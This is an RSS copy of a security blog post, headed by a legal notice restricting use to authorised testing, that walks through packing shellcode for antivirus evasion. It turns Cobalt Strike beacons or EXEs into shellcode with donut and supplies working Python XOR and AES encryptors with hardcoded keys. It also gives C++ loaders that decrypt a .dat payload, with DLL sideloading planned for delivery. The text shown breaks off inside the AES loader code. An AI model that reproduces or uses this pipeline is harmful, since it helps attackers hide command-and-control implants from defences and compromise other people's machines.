<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>Shellcode - Tag - Simon's Blog</title><link>https://blog.leeissonba.com/en/tags/shellcode/</link><description>Shellcode - Tag - Simon's Blog</description><generator>Hugo -- gohugo.io</generator><language>en</language><managingEditor>leeissonba@gmail.com (Simon)</managingEditor><webMaster>leeissonba@gmail.com (Simon)</webMaster><copyright>Simon</copyright><lastBuildDate>Tue, 28 Jul 2026 23:10:00 +0800</lastBuildDate><atom:link href="https://blog.leeissonba.com/en/tags/shellcode/" rel="self" type="application/rss+xml"/><item><title>Shellcode Evasion and Loading: End-to-End Workflow</title><link>https://blog.leeissonba.com/en/shellcode-evasion-loading-workflow/</link><pubDate>Tue, 28 Jul 2026 23:10:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/shellcode-evasion-loading-workflow/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/shellcode-evasion-loading-workflow/featured.jpg" alt="Shellcode Evasion and Loading: End-to-End Workflow" referrerpolicy="no-referrer">
            </div><p>Whether extracted from an EXE/Beacon via donut or generated directly from Cobalt Strike, shellcode is typically XOR/AES-encrypted and then executed through a standalone loader or a sideloaded DLL. This post walks through the full chain—generation, encryption, loading, and delivery—with two practical case studies.</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Legal Notice<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">For authorized penetration testing, security research, and defensive assessment only. Do not use on unauthorized systems.</div>
    </div>
</div>
<h2 id="overview">Overview</h2>
<div class="mermaid" id="id-4">flowchart LR
    subgraph S1[&#34;1 Generate Shellcode&#34;]
        A1[&#34;EXE / Beacon&#34;] --&gt; A2[&#34;donut / go-donut&#34;]
        A3[&#34;Cobalt Strike&#34;] --&gt; A4[&#34;C shellcode / .bin&#34;]
        A2 --&gt; B[&#34;Raw shellcode&#34;]
        A4 --&gt; B
    end

    subgraph S2[&#34;2 Encrypt&#34;]
        B --&gt; C{&#34;Algorithm&#34;}
        C --&gt; C1[&#34;XOR&#34;]
        C --&gt; C2[&#34;AES&#34;]
        C --&gt; C3[&#34;RSA (ref)&#34;]
        C1 --&gt; D[&#34;.dat / .ini&#34;]
        C2 --&gt; D
        C3 --&gt; D
    end

    subgraph S3[&#34;3 Load / Deliver&#34;]
        D --&gt; E1[&#34;Manual loader&lt;br/&gt;VirtualProtect / VirtualAlloc&#34;]
        D --&gt; E2[&#34;DLL sideload decrypt &amp; run&#34;]
        D --&gt; E3[&#34;Off-the-shelf Go loader&#34;]
        E2 --&gt; F[&#34;Signed EXE triggers callback&#34;]
        E1 --&gt; G[&#34;Standalone EXE&#34;]
        E3 --&gt; G
    end</div>
<p>For DLL hijacking fundamentals, see the published article: <a href="https://blog.leeissonba.com/posts/windows-dll-hijacking-analysis/" target="_blank" rel="noopener noreffer ">Windows DLL Hijacking Analysis</a>.</p>
<h2 id="1-generate-shellcode">1. Generate Shellcode</h2>
<h3 id="11-extract-from-exe-donut--go-donut">1.1 Extract from EXE (donut / go-donut)</h3>
<p><strong>go-donut</strong> (bin output only): <a href="https://github.com/Binject/go-donut" target="_blank" rel="noopener noreffer ">Binject/go-donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./go-donut -i windows_amd64.exe   <span class="c1"># extension required, otherwise bin is unusable</span></span></span></code></pre></div></div>
<p><strong>donut</strong> (recommended): <a href="https://github.com/TheWover/donut" target="_blank" rel="noopener noreffer ">TheWover/donut</a></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># -f 3: C-style shellcode; -z 2: compression</span>
</span></span><span class="line"><span class="cl">donut.exe -i windows_i386.exe -f <span class="m">3</span> -z <span class="m">2</span></span></span></code></pre></div></div>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Architecture match<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">Shellcode bitness must match the <strong>process that executes it</strong>. If sideload host <code>et.exe</code> is x64, CS/donut output must be x64; x86 shellcode in an x64 process will crash.</div>
    </div>
</div>
<h3 id="12-generate-from-cobalt-strike">1.2 Generate from Cobalt Strike</h3>
<ol>
<li>CS → <strong>Attacks → Packages → Payload Generator</strong> (for C-format shellcode; <strong>Windows Executable (S)</strong> produces an EXE, not the byte array used here)</li>
<li>Choose <strong>C</strong> output: <code>unsigned char buf[] = &quot;\x90\x90...&quot;;</code></li>
<li>For the Python encryptor in this post: produce a raw binary <code>.bin</code> (do <strong>not</strong> only strip <code>\x</code> and leave hex ASCII text; convert <code>\xHH</code> to bytes, or export/convert to bin)</li>
<li>Encrypt (Section 2), then deliver via sideloaded DLL or standalone loader</li>
</ol>
<h2 id="2-encryption">2. Encryption</h2>
<h3 id="21-xor">2.1 XOR</h3>
<h4 id="python-encrypt">Python (encrypt)</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">key_len</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)):</span>
</span></span><span class="line"><span class="cl">        <span class="n">encrypted_shellcode</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">key_len</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">encrypted_shellcode</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 ShellcodeEncrypt.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;henry123456aa+-==@asd&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypted_shellcode</span> <span class="o">=</span> <span class="n">xor_encrypt</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted_shellcode</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="c-decrypt">C++ (decrypt)</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// Read encrypted shellcode from a .dat file matching the executable name
</span></span></span><span class="line"><span class="cl"><span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">const</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">&#34;henry123456aa+-==@asd&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">keylength</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">key</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">DWORD</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">size</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^=</span> <span class="n">key</span><span class="p">[</span><span class="n">i</span> <span class="o">%</span> <span class="n">keylength</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// shellcode decrypted, length = size
</span></span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<h3 id="22-aes">2.2 AES</h3>
<p>Dependency: <a href="https://github.com/kokke/tiny-AES-c" target="_blank" rel="noopener noreffer ">tiny-AES-c</a> (add <code>aes.c</code>, <code>aes.h</code>, <code>aes.hpp</code> to your project)</p>
<h4 id="python-encrypt-1">Python (encrypt)</h4>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Dependency<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">Install <code>pycryptodome</code>: <code>pip uninstall crypto pycrypto &amp;&amp; pip install pycryptodome</code></div>
    </div>
</div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-python">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.Padding</span> <span class="kn">import</span> <span class="n">pad</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">iv</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;0123456789abcdef&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Usage: python3 shellcodeAESenc.py &lt;payload.bin&gt; &lt;payload.dat&gt;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="s2">&#34;rb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">bytearray</span><span class="p">(</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Original Shellcode Size:&#34;</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">padded_data</span> <span class="o">=</span> <span class="n">pad</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">block_size</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">encrypt</span> <span class="o">=</span> <span class="n">cipher</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">padded_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="s2">&#34;wb&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">output_file</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">output_file</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span></span></span></code></pre></div></div>
<h4 id="cc-decrypt">C/C++ (decrypt)</h4>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstring&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;aes.hpp&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span><span class="o">*</span> <span class="nf">FileToMem</span><span class="p">(</span><span class="k">const</span> <span class="n">WCHAR</span><span class="o">*</span> <span class="n">FilePath</span><span class="p">,</span> <span class="n">_Out_</span> <span class="n">DWORD</span><span class="o">&amp;</span> <span class="n">BufSize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">FILE</span><span class="o">*</span> <span class="n">file</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">_wfopen_s</span><span class="p">(</span><span class="o">&amp;</span><span class="n">file</span><span class="p">,</span> <span class="n">FilePath</span><span class="p">,</span> <span class="sa">L</span><span class="s">&#34;rb&#34;</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">file</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_END</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">BufSize</span> <span class="o">=</span> <span class="n">ftell</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fseek</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">SEEK_SET</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">RetVoid</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="n">BufSize</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">RetVoid</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="k">nullptr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">fread</span><span class="p">(</span><span class="n">RetVoid</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">BufSize</span><span class="p">,</span> <span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">fclose</span><span class="p">(</span><span class="n">file</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RetVoid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">WCHAR</span> <span class="n">szFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">    <span class="n">GetModuleFileName</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">szFilePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">lstrcpyW</span><span class="p">((</span><span class="n">szFilePath</span> <span class="o">+</span> <span class="p">(</span><span class="n">lstrlenW</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">)),</span> <span class="sa">L</span><span class="s">&#34;dat&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">DWORD</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kt">void</span><span class="o">*</span> <span class="n">buffer</span> <span class="o">=</span> <span class="n">FileToMem</span><span class="p">(</span><span class="n">szFilePath</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">buffer</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">char</span><span class="p">[</span><span class="n">size</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">        <span class="n">memcpy</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">buffer</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">free</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// Exactly 16 bytes; do not use a string literal (adds trailing &#39;\0&#39;)
</span></span></span><span class="line"><span class="cl">        <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="sc">&#39;0&#39;</span><span class="p">,</span><span class="sc">&#39;1&#39;</span><span class="p">,</span><span class="sc">&#39;2&#39;</span><span class="p">,</span><span class="sc">&#39;3&#39;</span><span class="p">,</span><span class="sc">&#39;4&#39;</span><span class="p">,</span><span class="sc">&#39;5&#39;</span><span class="p">,</span><span class="sc">&#39;6&#39;</span><span class="p">,</span><span class="sc">&#39;7&#39;</span><span class="p">,</span><span class="sc">&#39;8&#39;</span><span class="p">,</span><span class="sc">&#39;9&#39;</span><span class="p">,</span><span class="sc">&#39;a&#39;</span><span class="p">,</span><span class="sc">&#39;b&#39;</span><span class="p">,</span><span class="sc">&#39;c&#39;</span><span class="p">,</span><span class="sc">&#39;d&#39;</span><span class="p">,</span><span class="sc">&#39;e&#39;</span><span class="p">,</span><span class="sc">&#39;f&#39;</span>
</span></span><span class="line"><span class="cl">        <span class="p">};</span>
